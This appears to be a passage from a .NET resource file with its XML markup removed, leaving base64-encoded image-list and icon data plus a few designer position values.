AVABWAFZAeYCzgHPAVgBVwNPAgABbQETARIBUQNZBFgCNwFZATEBOAF6AVkBmgEaAbwB8QEaAU0BlAEa + AQcCLAFNASABRgEWAeMB/wG0Af8DFwVGARcBRgEnAZcBUQFdAV4B9wPOAQkB9wFdAVgBLgFPAgABbQIT + AUoBUgdZATgBWQExATgBegFZAnoBGgHxAfIBGgHwARoBdAFNASwBUwEgAbwB8wG9Af8BtAH0CfABBwEn + AXgBfgHlAV4BtAHVAdYB3AEJAbQCXgFYAVYCAAHrAhIBEwFKAVgIWQExATgDegJZA/EB8gLwAVMBTQFT + ASABrQMJAbQDtQa0AbUBpwEnApcB5QFeAZkB3QEZAQkBzgHPAl4CTwIAAewCEgHqAVIJWQExATgDegJZ + AXoBeQEaAfIBkwHxAZkBTQFTASABGgH/AfMB9AG0AfQC8wPyAxoB8gEHAScBlwJyAXgBeQG1ArQBtQFY + AVcBUAJPAgAB7AHqAesBHAp5AVEBOAV6AVkBegLzAfEB8gFSAU0BUwH5AUYBlAEWAf8BtAH/BOMBbwMX + AeMBRgEnAZgBlwNyA+UBXgFQA08BcgEhAQAB7AHrBroFuQG6AYEBOAd6AfYB9AHzAXoBeQFNAVMB+QEg + ARYB4wH/AbQB/wQXAUcDRgEXASABJwaXAlcBVgRPAeoBIQEOAZEEugm5AYEBOAV6AlkCmgF6A1kBUwEm + ASAC4wH/AboB/wTjBRcBIAknByEBDQu4BIEPOAEsAyAB/wGsAf8KIAZPAW0C4wcXD0YBRQVZCVgCUQ9V + AU8BAgaXAhcGRwIgBG8KRgEBATgC5QR6A1kDWAFRAUMBAAEzBpcIVQICAZcCVQFPAVUBTwVHASYB+QFH + AiABbwpGASUBIAFGAQEBOAHlAXoGWQFSAUMCEQEiARUBEAEzA5cLVQICAZcCVQFPAVUBTwVHAvkBRwIg + AW8BFwhGApcCRgEBATgB5QF6A1gBUgJvAUQDEQESAfcBvAE2BHkKWAEvAQIBlwRVAU8GRwH5AUcCIAFv + AhcGRgFzAXIBlwFzAUYBAQE3AXoBeQJKAeoBdAISAW8B9wEHAfAB8QLyATcDegN5CFgBMAECA5cBVQGX + AVUGTQFHAU0BJQFGAZMBjQJvAW4BjgFvAkYBGgESAe0B8AFGAR8BIgHsA+oCkwEHAbwCkwHzAfQBGwHD + ARoBOAGgBnoEWQJYAXoBMQECA5cBVQKXCFkBNwGuAbwBkgKOAbUBtgGNAkYBGwK6ARsBRgEfAQ4B7AHr + AQcB8AH0AfMCkwIbAfQBGgJ6AVIBOAGgB3oEWQFYAXoBMQECBpcIXgH7AUUBvAGUAhYBlAGTAY4CRgEb + ARoB8AEaAUYBHwHsAvMB9AL/AcMBvAGTA3oDWQE3ASwBmgt1AVMBdQElAQIGlwheAfsBRgGTAhYBbwEW + Am8HRgEfBP8C9gGgAnoFWQF6ATcBJgGUBxYF4wEWAfkBAgaXCF4B+wFEAbYBBwOOAbYBHAdGAR8CwwGg + AZoEegdZATcB+QkWBeMB+QEtBgIJ+wFvAY0BXwE+AT8BXwFEAW8EIAQfDjgCNxD5Bk8DbQcSARcI4wcX + AfMB9ALzARoF4wYXAZgB8gFvCkYBbwG8AZgBJwSXAlUITwEhAfkC4wYXBkcBIAHzBP8BvQQXBUcBIAEt + Av8BvQFvAhYFbwG3AfMB8gEnAQIBlwJVCE8BLgEtAU8BIQEgAeMDFwRHA0YBJQEgAUcBIAHzA/8BvQEW + BkcBJgH5AUcBIAEtAZgBCAHzARsCbwIbAm8BGwHwAZgBlwEnAQIBlwNVB08CLQFPASEBKAF4CFACTwIo + AVABAAHzBP8BvQEXBUcC+QFHASABLQGYAZcBmAHzAfQB8wL0AfEB8wHyAZcBTwGXAScBKAGXBVUCWARP + AS4BTwEOAQIBlwJWAVUITwEuAU8BIQH0A/8BvQEWARcGRwH5AUcBIAEtAZgDlwH/AZMCGwGTAfMBlwJV + AZcBJwEgARYBbwMXAVgCWQFYBUYBIAECA5cDVQhPASEB9AT/Ab0B4wEXB0cBIAEuApgClwHCAf8B8wH0 + AfMB8gFPA5cBJwH5ARYFFwJZBkcBIAECA5cDVQhPASEB9AP/Ab0B4wMXBkcBIAEuApgClwH0Af8BGwEa + Af8B9AJVApcBJwH5ARYC4wUXBUcBFwH5AQgB9ALyBvAFvAGYAfQE/wG9AeMDFwRHARcB+QEuApgBCAP0 + ARsB8gIbAfIBmAKXAScB+QEWA+MFFwRHARcB+QH0Cv8E9AHxAfQD/wG9ARYB4wQXA0cBFwH5AS4BmAHC + Av8CFgG9ARsBFgFvAvQBCAGXAScB+QnjBRcB+QH0Cf8F9AHyAfQD/wHzAb0BFgTjBBcB+QFVAfQB8wG9 + AY4HFgGUAbwB8AFPEPkI9AXzA/IE9AGUC/kCvQwgAb0BGgunAc8BCQKnBoYGWQRsAhICbQbqBhICEwTq + BFgBXQFYBUYBoQTPBa0BtAHwAewCpwEEAV8BtAPPBlkEiwEKASEEcgNQBE8DSQIAAW0B6gISBl4ERwEg + AaEBzwWtAqcBzwEJAXMBWAHHAacBhQEEAbQDrQZZAoYBpgGLAQoBIQFyA08BSwFMAkYBRQFKAUkBKAEn + AUkCAAFtARMBFAEVBl4BRwEmAfkBRwEgAaEBtAatAbQBvAHsAVkBOAHHAa0BhQEEAbQDrQJZAUsBSgJZ + AYYCpgGLAQoBIQFyAk8BSwZHAUQCJwFJAgABbQETAhQGXgFHAvkBRwEgAaEBtAWtAbQB3QHtAVgCWQHH + Aa0BhQEEAbQDrQJZAkoCWQKGAaYBiwEKASEBcgJPAUwGRwFFAUkBJwFPAgABbQITARQGXgJHAfkBRwEg + AaEBtALPAa0BzwHWAfABHARZAacBrQGFAQQBtALPAa0BWQFSAksBUQFZA4YBiwEKASEDcgMXBEcBRgJJ + AU8CAAHrAhIBEwZeBEcBIAGhAdUCzwGtAbQB3QEcBVkBpwGtAYUBBAG0As8BrQFZAVEDSwFZAYsChgGL + AQoBIQNyAUwDFwNHAUYCSQFPAgAB7AISARMGXgRHASABoQHVAs8B1gHwAe8GWQGnAa0BhQEEAbQDzwF6 + AVECWAFRAVkDiwGtAQoBIQNyAXMEFwFHAUYBSgJJAU8CAAHsAuoBEgHlBV4DRwEXAfkBoQHVAc8B1gEZ + AfcBegZZAacBrQGFAQQBtAPPAnoEWQOLAa0BCgEhAZcDcgFuAxcBRgFLAk8BSQFPAgAB7ANtAuUEXgNH + ARcB+QGhAc8BCQG8AZkBegdZAqcBhQEEBM8BegVZA60BpwEKASEBlwRyAlAB6wFKAeoESQIAAm0C6gHl + BV4EFwH5AaEBpwHdARIBOAEyBjgBMgGhAoUFBAY4BF8BCgwhCQAD+wE4AvsF+QFmA20B6wVtAeoBbQG1 + AW0B6gETAZ0GtAiRAa4BrQGzAq0BWAHjAVgHhgFsAWYHTwJtBmwBEgFfAbQBzwG1AQcDrgOLAbsB8QG1 + AYsBAAE4AeUKegJYAVkBMQGmA7QBegHjAXoCtAGzBa0BCgECAZ0DlwJ3CHEBIQFfAbQBrgHwAfIBtQSL + AYYBrgH3AosBAAGQBbsCugGdBZEBnQFmAaYBtQK0AXoBFwF6Bq0BiwGtAQoBKAGYApcCdwNxBU8BcQEh + AV8BtAGuAbUB8AWLBIYBiwEKAVgBoAN6BHkFWAF5ATEBiwG7ArUBegEXAXoCtAKuA4sBrgEMASABFghv + BEYBbwEBAV8BtAGuAs8FiwKGAbQBhgGLAQoBkAS7BLoCtAORAboBZgFSAZoCmQF6ARcBegN5AnQCUgF0 + ASQBIAGTBG8BlAG9AW8BkwFvA0YBbwEfAa4BtQG0Ao0BzwG1AZIBrgHvAbQBhgGuAbUBrgEKAbIBuwW6 + BLQDswG0AaYBJgGUAXUCFgPjAU0CFwFNAkcBTQIgAZMDbwGTARsBbwIaAZMDRgFvAR8BkQG8AbUCkwG1 + AQcB9wG1AQkBuwGLAbUCuwEKAbIBCQa6BLQCswG0AaYBUwKaAnoB4wV6A1MBegErASABkwRvAr0BkwEa + AZMBbwJGAW8BHwFoAbcBlAIWAZQBkwGOAa4BtQKLAa4BtQHPAQoBsgEHAW8BtQW6BbQBugGmAc8BCQK1 + AZoBFgF6AbUBtAG1A7QBzwG0AWABRQaTA44EbgGOAT4BIAGTARYCbwIWAW8CrgGLAc8BuwGLAa4BCgGz + AZMBFgFvBroEtAG6AaYBrQEJArUBmgEWAXoFtAGzAa0BtAEEAbIBuwe6BbMBugGmAYwBvAEHAZMBjgEc + AbwB7wHPAa0BiwG1AQcBzwGLAQoBsgG7AZMBuwq6AbkBpgGtArUBugF6ARYBegS0Ac8DrQEEAbIFugm5 + AaYBjgHsAaYCRQGmAWcBjgEEA18BiwFfAgoBswGyAbMEsgWsBIoErQFZASYBMgGKBaYDBAeyBawEig/q + ARIB2wHcA9sG2gW5CcgDpwGoAW0CRgEXCOMHFwEQBRUHQwIRAQ8B2gvcA9sBsgH8AtYG5gGoAY0CbwEW + ARoBkgH5AuMGFwZHASABEAEVA0MEFAEVAUoEEQEPAdoBCQTcCdsBsgH8AdYD5gHIAqgBggFpAW8BFgGZ + AhoB9wH5BOMHRwEmAfkBRwEgARABFAEVAkMBUQJYAVEBWAFDAxEBQwEPAbwB9ATzAfIC8QTyARkB8gG7 + AfwB1gHmAc8BrwGOAm8BlAG9AfMCegF5AZoB9wEXB5QCFgTjAZQBRgERARIBEwFEARUCUQJYAVEFFQER + AfMF/wHDAnoBGgX0AbwB/AHWAa8BjgF0AZQBmgEbAfQB8wEaAZoBGgF0ARoB9wEbB/QB8wIbARoDGwG8 + AUYBFgNvARcCWQEXAVkERgEXAUUB8wX/AaABegFZAeUF9AHwAaMBkwEWAZQBGgHzAfYC/wGaAfMBGgHw + AUsBdAGSAfMI/wP0AvMB9AHyAUYBFgTjAVkCFwFZBEcBFwFFAfMF/wHDAnoBoAX0AfABPQG2AY4BFgKU + AfIC/wH0AZkCdAFLAXQB7AEaCf8D8wHyAfQBvAFGAZQF4wNZAhcCRwEXAUUBCQYZAvIGGQG7AfwB1gLm + Aa8CjgGTAZQBGwHyAZkBdAFLARwB7AEXCZQEFgGUAUcBRgGUBeMBUwFZAVMDFwFHARcBRQHaAQkL3AHb + AdwB0wH8AdYF5gGvAY4BbwEWAb0BGgGTAXQBbQH5ARYD4wYXA0cBFwH5AUYHFgNvAeMBbwEXAeMBRQHa + CNwG2wHTAfwI5gHQArABjgFvAZkBbgH5CeMFFwH5EEYB2wvaAtQB0wHUAcgL/AGFAQECIBD5AYsBrQOn + BYYFbQESEEYGWQJTCFID8wPyA+MBFwXxAfABpgq0BLMBCgEgAhYFbwNMBEYBHwEyAZoNegElAfMF/wMX + AUcF8wG8AaYFtAezAa0BswEKASABFgJvARcBRgEXAUUBRAZGAR8BMgGaCHoCWQJTAXoBKwHzBf8ERwX0 + AbwBpgG6BLQFswG6AbkCswEKASABFgNvARIBTAEUAUMBRgEVBEYBHwExAZoCegN5BnQBUgF0ASUB8AH0 + BPMCFwFHAUYC8gLxAfIB7wGmAbsFtAOzA7oBswG0AQoBIAEWAuMCbwFFARQBFQJFBEYBHwFmArUCrwGN + Ca4BDAGGAbUEzwGvAQcBtgGNBIYBzwERAa0BuwGzApMBswG0AbUBtAGzAZoBGwKZAbQBCgEgARYC4wFu + AW0BbgEUARUBRQFEAUUCRgFMAR8BhQG1Cs8BpwGGAc8BXwEEA88BpwEJAacBzwGnAYYBtQSGAQoBxwHz + AbUCkwEJARoCtAGzApoB9gGaAbQBXwEgAZQBFgHjAW4BbQESARMDFAFEAkYBTAEfAQQBtQrPAqcBzwFg + AYYDzwGnAc8BpwK1AYYBpwSGAREBrgHwARoElAHvArQBGQHxAfMB8gG0AV8BIAGUAhYBbwFuAeoCEgET + AUQBRQJGAW8BHwEgAZQFFgTjA28B4wEgAfAB8wEZA/MBaQLjAUYB8gTwAQcBbwG3ApQBFgKUARYDtAG7 + AboCtAFfASABlAIWAW4CbwFtARIBbgFvAUQBFwFGAW8BIAH5AZQGFgXjARcB4wEgAfQF/wQXAv8D9AHx + Aa0BvAG7ApMBtQG2Ae8CtAHPBK0BXwEgAxYBbwEWAW4CbwFFAeMBTAHjAkYBIAFHChYE4wH5AfQF/wTj + BfQB8QHPAqwBjQGOAawBswGOAqYBhQUEECABRw/5BvQE+QHzBPIB8QHPArQBswGtBlgFRgEXBOMKEgIT + BOoF4wFGAW0EEgEXBkYCbwdGAacEtQPlA14ERwEgAfkC4wIXAhMCFQRDAhACAALrAm0B4wQXAUcBSwNP + ASEBIAEWAuMDbwLzAW8BTAEXA0YBHwGnAQkDtQJeAXkBWAJeAkcBRgFHASAB+QHjAxcDEgETAhQDFQET + ARABAAHsAW0B6gESAhcERwFLA08BIQEgARYB4wFvARcB4wEaAvQBGgVGAR8BrQEJA7UB5QN0AXMBXgJH + AfkBRwEgAfkB4wMXAvMI8QEHAQAB7AJtAeoBFwMWAeMBRwFLAU8BLQFPASEBIAEWAuMBbwGTBPMBkwNG + ARcBIAGtAQkDtQF5ARwBbwF5AXQBWARHASAB+QHjAxcD/wf0AfABAAHsA20BFwGUAhoBlAFHAUsDTwEh + ASABFgLjAW8BtQEJArsCtAFoAkYBFwEgAc8BCQO1AeUBdAF6AU0BdAFeA0cBFwEgAfkBFgMXBP8G9AHw + AQ4B7AHrAm0B4wIaAZQBvQFHAUsDTwEhASABFgHjAW8FtAGzAbQBswFoAUYBFwEgAc8BCQO1AeUBdAF1 + AXoBdAFeA0cBFwEgAfkBFgMXBf8F9AHwAQ4B7QHsAesBbQHjAb0BlAEWAb0BFwFLA08BIQEgARYB4wG1 + AbQBHAS0ARwCtAFGARcBIAHPAwkBtQHlApkCeQFeARcCRwEXASAB+QEWAuMBFwLzAsIC8QTwAQcBDwHt + AuwB6wIWAb0BlAEWARcBSwJPAZcBIQEgARYBbgFtAeoBcwF5AnoBeQFRARQBFQFEAUYBIAHPAwkB1gbl + AhcBRwEXASAB+QEWA+MElwNVAk8BlwEhAQ8BkgPsARYE4wEXAW4CTwGXASEBIAFvA20BeQF0AlgBUgFY + ARUCQwFGAR8BzwS1BuUC4wEXAeMBIAH5BOMBlwlVASEBDwPsAesEFgLjAW8DVQEnASACbQLqAm0BWAFS + Am0CFAEVARMBAQXPBvsD+QIgBfkEAgYnASEBEQMPAQ4G+QEeAQIDJwELDwABQgFNAT4HAAE+AwABKAMA + AUADAAG1AQICAAEBAQABAQUAAagBFRYAA/9fAAH8AX8GAAH4AT8GAAH8AT8GAAH4AX8GAAH4AT8GAAH8 + AR8GAAH+AQcGAAHDAYcGAAHBAYMGAAHAAQcGAAHwAQ//AP8A/wD/AP8A/wChAAEBBwABBwcAAQEHAAEB + BwABAQcAAQcHAAEfBwABfwYAAQMB//8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wAqAAs= + + + + 17, 17 + + + + AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/ + /wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH// + /wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA + AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/ + /wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/ + /wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWq + /wMAAAAASLb+Djux9H04tPfoOMH//y/B//4itf//Hq/8/yGt+P8hqvj/HKf4/x+p+v8sr//+M6n5/zKa + 6eQ0lud1RYvQCwAAAABVqqoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABVqv8DAAAAAD6l6Dk1qvPWNrv//ymy+/4eqPX9PLLz+3bH7/6i2fD+tuHw/rXf7v6c0+3+brvq/jOf + 6/sZkur9JZjv/jCb9P8wi+DPOorZMAAAAABVqv8DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAVar/AwAAAAA6nutPNKXy9TCt+v8eofD8PKnu/qTV6//l7O3/2tTs/7Wr4/+akt7/m5Pd/7eu + 4f/b1On/3uXn/5TD4v8wkuP9Gofi/CyP6v8uht/wNX3QRwAAAAAAqqoDAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAFWqqgMAAAAAPZbgQjSe8PYuofH/HZrt/GW06P/j6OX/xLzt/1dVzv8YF7L/Cgiz/wAA + sf8BAK//CQas/xoZrP9fXMv/ysHn/9fe3/9Tmt3/GH/e/CmG4f8ugtrwN4HMNwAAAAB/f/8CAAAAAAAA + AAAAAAAAAAAAAAAAAAAA//8BAAAAAEWW3BY2nO3ZMJ7x/x2U6vxxs+T/6+bj/3t43/8JCob/AAAi/wEB + Q/8CAZD/AgKj/wICof8BAYj/AQE5/wAAJP8NDoj/iITa/+Xh3P9dm9n/GHvb/CyE4P8ygdfRRIi7DwAA + AAAAAP8BAAAAAAAAAAAAAAAAAAAAAAD//wIAAAAAPJzpjzWi9v8glOn7V6fj/+bi3/9jYdf/AABZ/wIC + Bv8DAw3/AgIN/wICJP8CAjv/AgI6/wICIv8CAgz/AwMM/wEBB/8AAFz/dHDT/+Dd2f9Fjdf/HXvZ+zCH + 4/83gtWBAAAAAABVqgMAAAAAAAAAAAAAAAAAf38CAAAAAFCn8CM4oOzvLZvr/yqX5/7H193/ioba/wAA + XP8EBAD/AwMH/wAABv8AABD/AAAU/wAAF/8AABb/AAAU/wAAD/8AAAX/AwMH/wICAP8AAGX/npbY/7bI + 1P8ffNj+KYLb/zOD2OhEidcaAAAAAAD//wEAAAAAAAAAAFWq/wMAAAAAP6bweTio+P8lnOz8Vq/o/9rX + 5f8hIaj/AAAG/wICGf8AAE//CQqF/yYmq/9GRr3/R0i+/0lJvf9DQrb/ISGh/wcIfP8AAEf/AgIT/wAA + Df80M7P/2dXa/z6N2P8igNr8Mori/zqK120AAAAAP3+/BAAAAAAAAP8BAAAAAAAAAAA7pOzCM6r2/yml + 7/1Js+//6ejs/1RSzf8EB4//ODW+/4d/5v/JvvL/4t/t/46Q1f9CRMn/SUrJ/5STzf/Sytr/u67j/3lw + 2f8vK63/AwWK/2Vgx//Y1tn/M4zc/yWF3fwwjeT/OIvbswAAAAAAAP8BAAAAAAD//wEAAAAAVbTpGDen + 7vAwrPP/MbHz/imx9v+V1vP/9+zz/9zS+v/n9P//4fz8/6ji8v9hk+r/FxPW/wwM0/8LC9H/GhnM/1uB + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + + 480, 17 + + + 372, 17 + + + + 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 + 